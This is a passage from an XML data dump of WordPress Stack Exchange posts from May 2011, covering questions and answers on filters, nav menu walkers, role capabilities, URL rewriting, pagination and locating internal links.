&lt;code&gt;wp_print_scripts&lt;/code&gt; does not work in the same way that &lt;code&gt;wp_print_styles&lt;/code&gt; does, to output stylesheet links.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So: if you're using &lt;code&gt;wp_print_scripts&lt;/code&gt;, change the hook to &lt;code&gt;wp_head&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT 2:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Based on your pastebin-linked code, have you tried the following, to rule out potential issues?&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Remove callback function from &lt;code&gt;wp_comment_list()&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Move &lt;code&gt;wp_comment_list()&lt;/code&gt; call to &lt;em&gt;before&lt;/em&gt; &lt;code&gt;comment_form()&lt;/code&gt; call&lt;/li&gt;&#xA;&lt;li&gt;Remove the argument array from &lt;code&gt;comment_form()&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I don't know that any of those will solve your problem, but they may help us track down its origin.&lt;/p&gt;&#xA;" OwnerUserId="3966" LastEditorUserId="3966" LastEditorDisplayName="" LastEditDate="2011-05-10T15:15:08.137" LastActivityDate="2011-05-10T15:15:08.137" CommentCount="9" />
  <row Id="16800" PostTypeId="1" AcceptedAnswerId="17167" CreationDate="2011-05-09T23:17:56.650" Score="2" ViewCount="500" Body="&lt;p&gt;I'm using Alex Rabe's NextGEN Gallery in a lot of client sites as a centralized image repository, and am finding I often need to load an entire gallery into a lightbox (invoked via a single thumbnail), without displaying more than a single thumbnail on page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thus, I could have a series of four thumbnails on a page, each thumbnail opening a different set of pictures in a lightbox when clicked. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Any idea how I could do this? Thanks.&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="1682" LastActivityDate="2011-08-24T17:58:49.473" Title="Load entire NextGEN gallery from single thumbnail?" Tags="&lt;template&gt;&lt;ajax&gt;&lt;gallery&gt;&lt;plugin-nextgen-gallery&gt;" AnswerCount="3" FavoriteCount="2" />
  <row Id="16801" PostTypeId="2" ParentId="3305" CreationDate="2011-05-09T23:30:33.430" Score="0" ViewCount="" Body="&lt;p&gt;Swill - I had just same problems. Damn wordpress with some of the &quot;features&quot;&#xA;A rather more sophisticated approach is to change all the @ini_set 's to set it from WP_MEMORY_LIMIT - problem solved&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, changing php values at runtime ain't that smart, not sure why it is implemented :(&lt;/p&gt;&#xA;" OwnerUserId="5248" LastActivityDate="2011-05-09T23:30:33.430" />
  <row Id="16802" PostTypeId="2" ParentId="16766" CreationDate="2011-05-10T00:07:45.460" Score="1" ViewCount="" Body="&lt;p&gt;simple answer to this, if you wan to display the image use:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; $options = get_option('ud_options');&#xA; if (isset($options['file'])) {&#xA;    echo &quot;&amp;lt;img src='{$options['file']['url']}' /&amp;gt;&quot;;&#xA; }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-05-10T00:07:45.460" />
  <row Id="16803" PostTypeId="2" ParentId="16798" CreationDate="2011-05-10T00:15:02.647" Score="2" ViewCount="" Body="&lt;p&gt;the page you linked shows how to remove a capability from a role:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;global $wp_roles;&#xA;// remove capability $cap from role $role&#xA;$wp_roles-&amp;gt;remove_cap( $role, $cap );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and an example would be: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// for example&#xA;$wp_roles-&amp;gt;remove_cap( 'subscriber', 'view_galleries' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or remove a capability from a specific user:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// get the user by username say for example its admin&#xA;$user= new WP_User( null, 'admin' );&#xA;// remove a capability from the user&#xA;$user-&amp;gt;remove_cap( 'view_galleries');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;as for what hook you should use, you don't need any just paste this code once in your theme's functions.php file, save and remove, since the roles and capabilities are saved in the database.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-05-10T00:15:02.647" />
  <row Id="16805" PostTypeId="2" ParentId="16792" CreationDate="2011-05-10T00:20:13.337" Score="1" ViewCount="" Body="&lt;p&gt;you are quering the same posts over and over, and that is way you are getting the same posts, to fix it just add&#xA;&lt;code&gt;'paged' =&amp;gt; get_query_var('paged')&lt;/code&gt; to your query arguments, so change:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php $portfolioloop = new WP_Query( array( 'post_type' =&amp;gt; 'portfolio', 'posts_per_page' =&amp;gt; 12 ) ); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;into:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php $portfolioloop = new WP_Query( array( 'paged' =&amp;gt; get_query_var('paged'), 'post_type' =&amp;gt; 'portfolio', 'posts_per_page' =&amp;gt; 12 ) ); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and just to make sure you are ok and to avoid errors add &lt;code&gt;wp_reset_postdata();&lt;/code&gt;&#xA;at the end of your code.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-05-10T00:20:13.337" CommentCount="1" />
  <row Id="16806" PostTypeId="2" ParentId="16782" CreationDate="2011-05-10T00:30:54.813" Score="1" ViewCount="" Body="&lt;p&gt;if you take a look at &lt;a href=&quot;http://wordpress.org/extend/plugins/tabber-tabs-widget/screenshots/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Tabber Tabs Widget&lt;/strong&gt;&lt;/a&gt; plugin does it you will see that it creates a widget and a new &quot;sidebar&quot;, now if you place widgets in that sidebar they will show only where you place the plugins widget.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and if you look at what &lt;a href=&quot;http://wordpress.org/extend/plugins/tabbed-widgets/screenshots/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Tabbed Widgets&lt;/strong&gt;&lt;/a&gt; plugin does, it creates a widgets that pulls a list of all registered widgets in to a dropdown and lets you choose which ones you want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;both seem like nice ways to achieve that , depends on what you need.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-05-10T00:30:54.813" CommentCount="1" />
  <row Id="16807" PostTypeId="2" ParentId="15017" CreationDate="2011-05-10T00:47:28.143" Score="0" ViewCount="" Body="&lt;p&gt;When posts are being previewed WordPress appends a query string to the end of the url.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The permalink settings are not applied until the post is published.  While the post is in draft status the preview link will be &lt;strong&gt;&lt;em&gt;yourdomain.com/?p=1119&amp;amp;preview=true&lt;/em&gt;&lt;/strong&gt; where p=xxxx is the post id number.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once the post is published and you make changes and want to preview, the preview link will be&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;yourdomain.com/%year%/%postname%/?preview=true&amp;amp;preview_id=1119&amp;amp;preview_nonce=6xcade32bz&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Where %year%/%postname%/ is your permalink settings and preview_nonce is a security feature to prevent others from previewing your posts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can you give us the URL that the preview post link is going to.  Then when clicked give us the url that is in the browser window.  This will determine where the problem is.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also try to manually enter the preview link into the browser to see if that works.&lt;/p&gt;&#xA;" OwnerUserId="251" LastActivityDate="2011-05-10T00:47:28.143" CommentCount="1" />
  <row Id="16808" PostTypeId="2" ParentId="16406" CreationDate="2011-05-10T02:07:39.167" Score="0" ViewCount="" Body="&lt;p&gt;Google Analyticator has always had the option to add code before, or after initialization. We use it on all our sites and it's working great. &lt;/p&gt;&#xA;" OwnerUserId="34" LastActivityDate="2011-05-10T02:07:39.167" CommentCount="0" />
  <row Id="16809" PostTypeId="1" AcceptedAnswerId="16817" CreationDate="2011-05-10T03:44:48.550" Score="1" ViewCount="289" Body="&lt;p&gt;Let me preface by saying I don't really understand Add_Filter, but I think that I want to be using it here. If not please let me know. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to modify &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_get_attachment_link&quot; rel=&quot;nofollow&quot;&gt;wp_get_attachment_link&lt;/a&gt; so that the link url changes. So for example if I click on a thumbnail in a gallery instead of going directly to the file I want it to go to www.foo.com. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So what I would like to do is replace what wp_get_attachment_link does via add_filter. But I can't figure out how add_filter works. How do I get the parameters from the original function? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Original Function Call&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;wp_get_attachment_link($id, $size, $permalink, $icon, $text);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Filter&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter( 'wp_get_attachment_link', 'modify_attachment_link');&#xA;&#xA;function modify_attachment_link() {&#xA;    //how do i access $id, $size, $permalink, $icon and $text???&#xA;    $foo = $id.$permalink;&#xA;    return $foo;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4013" LastEditorUserId="73" LastEditorDisplayName="" LastEditDate="2011-05-10T16:59:10.063" LastActivityDate="2011-05-10T16:59:10.063" Title="Add_Filter example for wp_get_attachment_link" Tags="&lt;attachments&gt;&lt;add-filter&gt;" AnswerCount="2" />
  <row Id="16811" PostTypeId="2" ParentId="16777" CreationDate="2011-05-10T04:13:17.260" Score="0" ViewCount="" Body="&lt;p&gt;What I do here is I keep an entry in my /etc/hosts file pointing the site domain to 127.0.0.1. Most of the time the line is commented so my machine points to the production site, and when I'm developing something I just uncomment the line and the domain will point to my dev box.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know it's kinda ugly, but since Wordpress puts the domain in a lot of fields in the database (especially if you need to work with real data in your development environment), it's the fastest method I could come up with.&lt;/p&gt;&#xA;" OwnerUserId="2503" LastActivityDate="2011-05-10T04:13:17.260" />
  <row Id="16812" PostTypeId="2" ParentId="16809" CreationDate="2011-05-10T04:16:02.797" Score="1" ViewCount="" Body="&lt;pre&gt;&lt;code&gt;add_filter( 'wp_get_attachment_link', 'modify_attachment_link', 10, 5 );&#xA;&#xA;function modify_attachment_link($id, $size, $permalink, $icon, $text) {&#xA;    $foo = $id.$permalink;&#xA;    return $foo;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;See the &lt;a href=&quot;http://adambrown.info/p/wp_hooks/hook/wp_get_attachment_link?version=3.1&amp;amp;file=wp-includes/post-template.php&quot; rel=&quot;nofollow&quot;&gt;source&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The last two arguments are priority and number of args.  If you don't specify the number of args of anything above one (IIRC) it will throw an error. &lt;/p&gt;&#xA;" OwnerUserId="4834" LastActivityDate="2011-05-10T04:16:02.797" CommentCount="2" />
  <row Id="16813" PostTypeId="1" AcceptedAnswerId="16815" CreationDate="2011-05-10T04:53:28.320" Score="1" ViewCount="108" Body="&lt;p&gt;This seems pretty straightforward using cookies in straight HTML. In wordpress, how do I do this? AFAIK, wordpress only provides cookies functions for logging/logged in users. How about when I don't want the user to log in to show my greetings?&lt;/p&gt;&#xA;" OwnerUserId="1649" LastActivityDate="2011-05-10T06:03:36.563" Title="Show greetings on first time visitors?" Tags="&lt;cookies&gt;" AnswerCount="1" />
  <row Id="16814" PostTypeId="2" ParentId="11773" CreationDate="2011-05-10T05:42:04.070" Score="0" ViewCount="" Body="&lt;p&gt;Here's a possible fix - it details making a tiny change to your tagged version (see comments to the post) ... I hope this helps: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://webtide.wordpress.com/2011/04/18/wordpress-plugin-svn-tip-how-to-resolve-the-last-updated-issue/&quot; rel=&quot;nofollow&quot;&gt;http://webtide.wordpress.com/2011/04/18/wordpress-plugin-svn-tip-how-to-resolve-the-last-updated-issue/&lt;/a&gt; &lt;/p&gt;&#xA;" OwnerUserId="676" LastActivityDate="2011-05-10T05:42:04.070" />
  <row Id="16815" PostTypeId="2" ParentId="16813" CreationDate="2011-05-10T06:03:36.563" Score="3" ViewCount="" Body="&lt;p&gt;if you are not looking at coding it yourself then WP Greet Box(&lt;a href=&quot;http://wordpress.org/extend/plugins/wp-greet-box/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/wp-greet-box/&lt;/a&gt;) could be used to achieve this. This plugin automatically loads a greeting message based on the referrer and it even allows you to customize the greetings, set time out to auto close the greeting etc. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only problem I see(from your question) is that this plugin greets all visitors not just new. If the visitor closes it, it won't be shown again. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;First time visitors based on cookies aren't reliable anyway, clear the cache and you become first time visitor again! &lt;/p&gt;&#xA;" OwnerUserId="5123" LastActivityDate="2011-05-10T06:03:36.563" />
  <row Id="16816" PostTypeId="1" CreationDate="2011-05-10T06:05:03.553" Score="0" ViewCount="99" Body="&lt;p&gt;Essentially what I am hoping to replicate is something like the &quot;current-menu-item&quot; class that is applied to WP Menus.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My client is wanting to use Tags as a sub-nav, and I've managed to get the tags for the category output as an unordered list, but now if someone selects the tag &quot;Tag One&quot;, I'd like to have that particular tag to highlight as the currently selected Tag. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It would be extra super cool if this could also work with the output generated by &quot;the_tags&quot; attached to the post as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope this makes sense, and thanks!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers,&#xA;John&lt;/p&gt;&#xA;" OwnerUserId="5087" LastActivityDate="2011-05-10T06:05:03.553" Title="Assign a Class to the Current &quot;Tag&quot; for Formatting" Tags="&lt;css&gt;&lt;tags&gt;&lt;menus&gt;&lt;current-filter&gt;&lt;select&gt;" CommentCount="3" />
  <row Id="16817" PostTypeId="2" ParentId="16809" CreationDate="2011-05-10T07:22:08.433" Score="3" ViewCount="" Body="&lt;p&gt;Look at the function in &lt;code&gt;wp-includes/post-template.php&lt;/code&gt;. There you see what information you can get:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;apply_filters(&#xA;    'wp_get_attachment_link'&#xA;,   &quot;&amp;lt;a href='$url' title='$post_title'&amp;gt;$link_text&amp;lt;/a&amp;gt;&quot;&#xA;,   $id&#xA;,   $size&#xA;,   $permalink&#xA;,   $icon&#xA;,   $text &#xA;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note that you cannot access the &lt;code&gt;$link_text&lt;/code&gt; and the &lt;code&gt;$_post&lt;/code&gt; object as a standalone variables. Bug? Bug!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In your filter you cannot change the order of the arguments, just the number.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So &lt;code&gt;add_filter( 'wp_get_attachment_link', 'modify_attachment_link', 10, 2 );&lt;/code&gt; will give you the link markup and &lt;code&gt;$id&lt;/code&gt;. The highest number of available arguments is &lt;strong&gt;6&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The return value of your function will replace the first argument.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An (untested) example for changing the link URL:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/**&#xA; * Replaces the URL for an attachment link.&#xA; *&#xA; * @param  string $markup     Original link markup&#xA; * @param  int    $id         Post id&#xA; * @param  mixed  $size       Image size, array or string&#xA; * @param  string $permalink  URL&#xA; * @param  bool   $icon       Use an icon?&#xA; * @param  bool   $text       Use text?&#xA; * @return string             New markup&#xA; */&#xA;function modify_attachment_link( $markup, $id, $size, $permalink, $icon, $text )&#xA;{&#xA;    // We need just thumbnails.&#xA;    if ( 'thumbnail' !== $size )&#xA;    {   // Return the original string untouched.&#xA;        return $markup;&#xA;    }&#xA;&#xA;    // We have stored the new URL in a post meta field.&#xA;    // See http://wordpress.stackexchange.com/q/3097 for an example.&#xA;    $new_url = get_post_meta( $id, 'extra_url', TRUE );&#xA;&#xA;    if ( empty ( $new_url ) )&#xA;    {   // There is no URL.&#xA;        return $markup;&#xA;    }&#xA;&#xA;    // Recreate the missing information.&#xA;    $_post      = &amp;amp; get_post( $id );&#xA;    $post_title = esc_attr( $_post-&amp;gt;post_title );&#xA;&#xA;    if ( $text ) &#xA;    {&#xA;        $link_text = esc_attr( $text );&#xA;    } &#xA;    elseif ( &#xA;           ( is_int( $size )    &amp;amp;&amp;amp; $size != 0 ) &#xA;        or ( is_string( $size ) &amp;amp;&amp;amp; $size != 'none' ) &#xA;        or $size != FALSE &#xA;    ) &#xA;    {&#xA;        $link_text = wp_get_attachment_image( $id, $size, $icon );&#xA;    } &#xA;    else &#xA;    {&#xA;        $link_text = '';&#xA;    }&#xA;&#xA;    if ( trim( $link_text ) == '' )&#xA;    {&#xA;        $link_text = $_post-&amp;gt;post_title;&#xA;    }&#xA;&#xA;    return &quot;&amp;lt;a href='$new_url' title='$post_title'&amp;gt;$link_text&amp;lt;/a&amp;gt;&quot;;&#xA;}&#xA;&#xA;add_filter( 'wp_get_attachment_link', 'modify_attachment_link', 10, 6 );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Further reading:  &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/3097/how-can-i-add-a-url-field-to-the-attachments-window&quot;&gt;How can I add a URL field to the attachments window?&lt;/a&gt;  &lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/5015/attachment-url-rewrite&quot;&gt;attachment url rewrite&lt;/a&gt;  &lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/2133/changing-attachment-urls&quot;&gt;Changing attachment urls?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="73" LastActivityDate="2011-05-10T07:22:08.433" CommentCount="1" />
  <row Id="16818" PostTypeId="1" AcceptedAnswerId="16821" CreationDate="2011-05-10T07:46:04.650" Score="2" ViewCount="447" Body="&lt;p&gt;I'm writing a customised walker class for wp_nav_menu and want to be able to specify if an li contains a submenu. So I want my markup to be:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;li class=&quot;has_children [other-wordpress-classes]&quot;&amp;gt;&#xA;    &amp;lt;a class=&quot;parent-link&quot;&amp;gt;Some item&amp;lt;/a&amp;gt;&#xA;    &amp;lt;ul class=&quot;sub-menu&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I know how to add and remove the classes fine, I just cant find anything to tell me if the current item has children items.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="4093" LastActivityDate="2011-05-10T19:36:49.913" Title="Add 'has_children' class to parent li when modifying Walker_Nav_Menu" Tags="&lt;custom-menus&gt;" AnswerCount="3" />
  <row Id="16819" PostTypeId="1" AcceptedAnswerId="16833" CreationDate="2011-05-10T08:00:45.520" Score="0" ViewCount="105" Body="&lt;p&gt;Right, here's the deal. I've got a loop of which displays news posts, these posts can belong to special categories (not normal categories) and I want to be able to filter by them. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I wasn't too interested in aesthetics I'd use a link like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;domain.com/news?filter=cat1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But instead what I want to do is this (» rewritten):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;domain.com/news/cat1 » domain.com/news/?filter=cat1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've modified the &lt;code&gt;.htaccess&lt;/code&gt; to pass the &lt;code&gt;cat1&lt;/code&gt; value as a GET variable:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteEngine On&#xA;RewriteBase /&#xA;RewriteRule ^news/(.*)/$ /news/?filter=$1 [L,QSA]&#xA;&#xA;# BEGIN WordPress&#xA;&amp;lt;IfModule mod_rewrite.c&amp;gt;&#xA;RewriteEngine On&#xA;RewriteBase /&#xA;RewriteRule ^index\.php$ - [L]&#xA;RewriteCond %{REQUEST_FILENAME} !-f&#xA;RewriteCond %{REQUEST_FILENAME} !-d&#xA;RewriteRule . /index.php [L]&#xA;&amp;lt;/IfModule&amp;gt;&#xA;&#xA;# END WordPress&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The problem is even though this is now successfully passing the &lt;code&gt;filter&lt;/code&gt; variable in, WordPress treats the &lt;code&gt;/cat1/&lt;/code&gt; as a page, it obviously cannot find it and thus throws a 404.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to allow this particular URL rewriting without WordPress firing a 404? It appears it's taking the URL in the address bar and parsing that, what I really want is for it to parse the rewritten URL.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="29" LastActivityDate="2011-05-10T10:37:11.933" Title="Hijacking the URL for filtering" Tags="&lt;url-rewriting&gt;&lt;filters&gt;&lt;urls&gt;&lt;htaccess&gt;" AnswerCount="1" />
  <row Id="16820" PostTypeId="2" ParentId="16818" CreationDate="2011-05-10T08:07:48.483" Score="1" ViewCount="" Body="&lt;p&gt;if you want to make drop down, you can do it with css only.&#xA;make custom nav in WP with children, WordPress automatically assigns class .sub-menu to child ul. Try this CSS&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    nav li {position:relative;}&#xA;   .sub-menu {display:none; position:absolute; width:300px;}&#xA;    nav ul li:hover ul {display:block;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You may want to add some jQuery to spice it up a little, but this should give you a working drop down menu.&lt;/p&gt;&#xA;" OwnerUserId="4678" LastActivityDate="2011-05-10T08:07:48.483" CommentCount="1" />
  <row Id="16821" PostTypeId="2" ParentId="16818" CreationDate="2011-05-10T08:45:58.013" Score="4" ViewCount="" Body="&lt;p&gt;&lt;code&gt;start_el()&lt;/code&gt; should get this information in its &lt;code&gt;$args&lt;/code&gt; parameter, but it appears &lt;a href=&quot;http://core.trac.wordpress.org/browser/tags/3.1.2/wp-includes/class-wp-walker.php#L126&quot; rel=&quot;nofollow&quot;&gt;WordPress only fills this in if &lt;code&gt;$args&lt;/code&gt; is an array&lt;/a&gt;, while for the custom navigation menus it is an object. This is reported in &lt;a href=&quot;http://core.trac.wordpress.org/ticket/15214&quot; rel=&quot;nofollow&quot;&gt;a Trac ticket&lt;/a&gt;. But no problem, you can fill this in yourself, if you also override the &lt;code&gt;display_element()&lt;/code&gt; method in your custom walker (because this is the easiest place to access the child element array):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class WPSE16818_Walker extends Walker_Nav_Menu&#xA;{&#xA;    function display_element( $element, &amp;amp;$children_elements, $max_depth, $depth=0, $args, &amp;amp;$output )&#xA;    {&#xA;        $id_field = $this-&amp;gt;db_fields['id'];&#xA;        if ( is_object( $args[0] ) ) {&#xA;            $args[0]-&amp;gt;has_children = ! empty( $children_elements[$element-&amp;gt;$id_field] );&#xA;        }&#xA;        return parent::display_element( $element, $children_elements, $max_depth, $depth, $args, $output );&#xA;    }&#xA;&#xA;    function start_el( &amp;amp;$output, $item, $depth, $args ) {&#xA;        if ( $args-&amp;gt;has_children ) {&#xA;            // ...&#xA;        }&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-05-10T08:51:03.177" LastActivityDate="2011-05-10T08:51:03.177" />
  <row Id="16822" PostTypeId="1" CreationDate="2011-05-10T08:57:42.577" Score="10" ViewCount="98" Body="&lt;p&gt;If I want to &quot;safely&quot; delete a post. I want to make sure that no link exists (within my blog) to &quot;to-be-deleted&quot; post. How do I do that?&lt;/p&gt;&#xA;" OwnerUserId="3047" LastEditorUserId="385" LastEditorDisplayName="" LastEditDate="2011-05-27T14:27:43.483" LastActivityDate="2011-08-29T05:01:09.657" Title="How do I check if I linked to a post before I delete it?" Tags="&lt;posts&gt;&lt;links&gt;&lt;wpse-plugin&gt;" AnswerCount="4" CommentCount="5" FavoriteCount="4" />
  <row Id="16823" PostTypeId="1" CreationDate="2011-05-10T08:59:59.400" Score="0" ViewCount="38" Body="&lt;p&gt;I have done the typical procedure to change the home page to a static page, and move the posts page to a /blog page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Home page is fine, but the 'blog' page  shows the same as the home page, even when I select a custom template which has the loop in, it just ignores that and displays the home page template, any ideas? :)&lt;/p&gt;&#xA;" OwnerUserId="5253" LastActivityDate="2011-05-10T09:05:58.083" Title="Moving the blog page" Tags="&lt;posts&gt;" AnswerCount="1" />
  <row Id="16824" PostTypeId="2" ParentId="16759" CreationDate="2011-05-10T09:05:54.080" Score="1" ViewCount="" Body="&lt;p&gt;You can't add link/blogroll type items to the main navigation - add them as custom links instead.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;[Update]&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To be more precise, you &lt;em&gt;could&lt;/em&gt; do it, but you would need to write some code that hooked into the menu creation/editing section, present a list of blogroll links in a metabox, allowed you to choose from them, and then added these links to your menu. Seems easier to just add the ones you want as custom links.&lt;/p&gt;&#xA;" OwnerUserId="490" LastEditorUserId="490" LastEditorDisplayName="" LastEditDate="2011-05-10T11:41:37.793" LastActivityDate="2011-05-10T11:41:37.793" CommentCount="2" />
  <row Id="16825" PostTypeId="2" ParentId="16823" CreationDate="2011-05-10T09:05:58.083" Score="2" ViewCount="" Body="&lt;p&gt;When you are selecting a static page as homepage, you can use an existing page(or a new page) to select as blog page.&#xA;It won't need any custom code to display anything.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to display a blog on a page which as a slug &lt;code&gt;/blog/&lt;/code&gt; to display the blog layout with your own code, then don't select anything for the blog page at the settings page where you have selected the static page.&lt;/p&gt;&#xA;" OwnerUserId="1521" LastActivityDate="2011-05-10T09:05:58.083" CommentCount="2" />
  <row Id="16828" PostTypeId="2" ParentId="16822" CreationDate="2011-05-10T09:40:02.890" Score="1" ViewCount="" Body="&lt;p&gt;There is no separate table or data structure that keeps post-to-post links, so the best way to do this is to search your posts for the URL of the post you want to delete. The search works on the HTML code of the post, so it will contain the full link, even if you don't see it in the visual editor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course, you should also search through the pages, since they can also contain links to posts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another approach would be to use Google. If you search for &lt;code&gt;link:http://example.com/2011/05/post-to-delete/&lt;/code&gt; it will return all pages that link there. You can then also add &lt;code&gt;site:example.com&lt;/code&gt; to limit the results to only pages on your site. Of course, this will not be as up-to-date as a search in your own current database.&lt;/p&gt;&#xA;" OwnerUserId="8" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-05-10T09:45:08.460" LastActivityDate="2011-05-10T09:45:08.460" CommentCount="1" />
  <row Id="16829" PostTypeId="2" ParentId="16822" CreationDate="2011-05-10T09:45:09.443" Score="1" ViewCount="" Body="&lt;p&gt;Just use Google's Webmaster tools - it has a specific page showing internal links.&lt;/p&gt;&#xA;" OwnerUserId="490" LastActivityDate="2011-05-10T09:45:09.443" />
  <row Id="16830" PostTypeId="2" ParentId="16760" CreationDate="2011-05-10T09:59:50.003" Score="0" ViewCount="" Body="&lt;p&gt;The custom navigation menu uses the global &lt;code&gt;$wp_query&lt;/code&gt; object to figure out what page is the current page and should get that class. &lt;code&gt;query_posts()&lt;/code&gt; replaces this &lt;code&gt;$wp_query&lt;/code&gt; object, so the navigation menu can't apply the correct classes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why do you use a separate template for this page? If you specify no template, it should use the home template (&lt;code&gt;home.php&lt;/code&gt; or &lt;code&gt;index.php&lt;/code&gt;) with the correct posts in the loop, and you should not need your own &lt;code&gt;query_posts()&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="8" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-05-10T10:41:00.497" LastActivityDate="2011-05-10T10:41:00.497" CommentCount="5" />
